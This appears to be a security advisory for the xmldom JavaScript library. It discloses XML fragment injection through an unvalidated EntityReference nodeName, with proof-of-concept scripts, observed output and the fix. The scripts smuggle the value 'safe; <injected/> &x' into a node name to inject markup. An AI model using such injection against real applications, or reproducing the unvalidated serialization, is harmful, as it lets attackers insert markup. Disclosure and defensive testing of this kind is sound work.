xmldom: XML fragment injection via invalid EntityReference.nodeName during requireWellFormed serialization

Summary

An EntityReference node can be created with an invalid, attacker-controlled name through Document.createEntityReference(name). When this node is serialized directly with:

serializer.serializeToString(ref, { requireWellFormed: true })

the invalid nodeName is emitted into the serialized XML fragment without validation or escaping.

This can produce real XML markup in the serialized output. In the proof of concept below, the serialized fragment contains <injected/>, and reparsing the fragment creates a real injected element.

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Details

The issue appears to be in the serialization path for ENTITY_REFERENCE_NODE.

For several other node types, requireWellFormed: true performs specific validation checks before serialization. For example, comments, processing instructions, document types, and some character data cases are checked before being emitted.

However, for ENTITY_REFERENCE_NODE, the serializer appears to emit the node name directly in entity reference form:

case ENTITY_REFERENCE_NODE:
  buf.push('&', n.nodeName, ';');
  return null;

As a result, if nodeName contains characters that break out of the intended &name; structure, the serializer can emit additional XML markup.

For example, an entity reference created with the name:

safe; <injected/> &x

is serialized as:

&safe; <injected/> &x;

When this fragment is later parsed in an XML context, <injected/> becomes a real element.

This is especially surprising when { requireWellFormed: true } is used, because applications may reasonably treat this mode as the stricter or safer XML serialization mode.

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Proof of Concept

Tested with:

@xmldom/[email protected]
Node.js v24.18.0
Windows 10 / PowerShell

'use strict';

const { DOMImplementation, XMLSerializer, DOMParser } = require('@xmldom/xmldom');

const impl = new DOMImplementation();
const doc = impl.createDocument(null, 'root', null);
const serializer = new XMLSerializer();

function countInjected(fragment) {
  try {
    const parsed = new DOMParser().parseFromString(`<root>${fragment}</root>`, 'application/xml');
    return parsed.getElementsByTagName('injected').length;
  } catch (e) {
    return `PARSE_THROW ${e.name}: ${e.message}`;
  }
}

for (const name of [
  'safe',
  'safe; <injected/> &x',
  'x<injected',
  'x y'
]) {
  try {
    const ref = doc.createEntityReference(name);
    const xml = serializer.serializeToString(ref, { requireWellFormed: true });

    console.log(`[SERIALIZED] ${JSON.stringify(name)}: ${xml}`);
    console.log(`[INJECTED_COUNT] ${JSON.stringify(name)}: ${countInjected(xml)}`);
  } catch (e) {
    console.log(`[THROW] ${JSON.stringify(name)}: ${e.name}: ${e.message}`);
  }
}

Observed output:

[SERIALIZED] "safe": &safe;
[INJECTED_COUNT] "safe": 0

[SERIALIZED] "safe; <injected/> &x": &safe; <injected/> &x;
[INJECTED_COUNT] "safe; <injected/> &x": 1

[SERIALIZED] "x<injected": &x<injected;
[INJECTED_COUNT] "x<injected": 0

[SERIALIZED] "x y": &x y;
[INJECTED_COUNT] "x y": 0

---

Impact

An application that creates an EntityReference from attacker-controlled input and then serializes that node or XML fragment with requireWellFormed: true may produce XML containing attacker-controlled markup.

The impact is limited by two observations:

1. The parser does not create EntityReference nodes from ordinary XML entity references.
2. Appending an EntityReference node as an element child is rejected with a HierarchyRequestError.

The main affected scenario is applications that directly use createEntityReference(name) and then serialize the resulting node or fragment.

Fix Applied

Two complementary, non-breaking fixes. (1) document.createEntityReference(name) rejects an invalid Name at creation, closing the reachable creation vector by default — the opt-in serializer check alone cannot, since a later nodeName mutation would bypass a creation-only guard. (2) Under requireWellFormed, the serializer validates the EntityReference nodeName as a well-formed XML Name and throws InvalidStateError when it is not; a valid reference still serializes as &name;. Both ship on both maintained versions. The EntityReference / createEntityReference docs note that under requireWellFormed the nodeName is validated as an XML Name, and that xmldom does not expand entities. See the XML Name production.

⚠ Opt-in required. Protection is not automatic. Existing serialization calls remain vulnerable unless { requireWellFormed: true } is explicitly passed. Applications that serialize untrusted DOM content should audit all serializeToString() call sites and add it.

Proof of Concept - fixed path

'use strict';

const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');

const impl = new DOMImplementation();
const doc = impl.createDocument(null, 'root', null);
const serializer = new XMLSerializer();

// Creation-time anchor (applied by default): an invalid XML Name is rejected at creation.
try {
  doc.createEntityReference('safe; <injected/> &x');
} catch (e) {
  console.log(`${e.name}`); // rejected at creation
}

// Default path (requireWellFormed omitted): because creation now rejects an ill-formed name,
// an ill-formed nodeName is only reachable via a post-creation mutation — and is emitted verbatim.
const ref = doc.createEntityReference('safe');
ref.nodeName = 'safe; <injected/> &x';
console.log(serializer.serializeToString(ref));
// -> &safe; <injected/> &x;   (injection present on the default path)

// Opt-in path: throws on the invalid nodeName.
try {
  serializer.serializeToString(ref, { requireWellFormed: true });
} catch (e) {
  console.log(`${e.name}`); // InvalidStateError
}

// A valid name still serializes as &name; under requireWellFormed.
const ok = doc.createEntityReference('valid');
console.log(serializer.serializeToString(ok, { requireWellFormed: true }));
// -> &valid;

Why the default stays verbatim

The creation-time anchor is applied by default, because it is classified non-breaking. The serializer check, by contrast, stays gated behind { requireWellFormed: true }: W3C DOM Parsing's require-well-formed flag defaults to false, and the browser XMLSerializer emits the nodeName verbatim in that default mode, so unconditionally throwing for an ill-formed EntityReference.nodeName would be an unjustified breaking change — which is why the default serialization path stays verbatim.

Residual limitation

The creation vector is closed by default — the non-breaking creation-time anchor — with no further deferred work. The residual is at serialization: the default path still emits an ill-formed nodeName verbatim, because the serializer check is opt-in via { requireWellFormed: true }.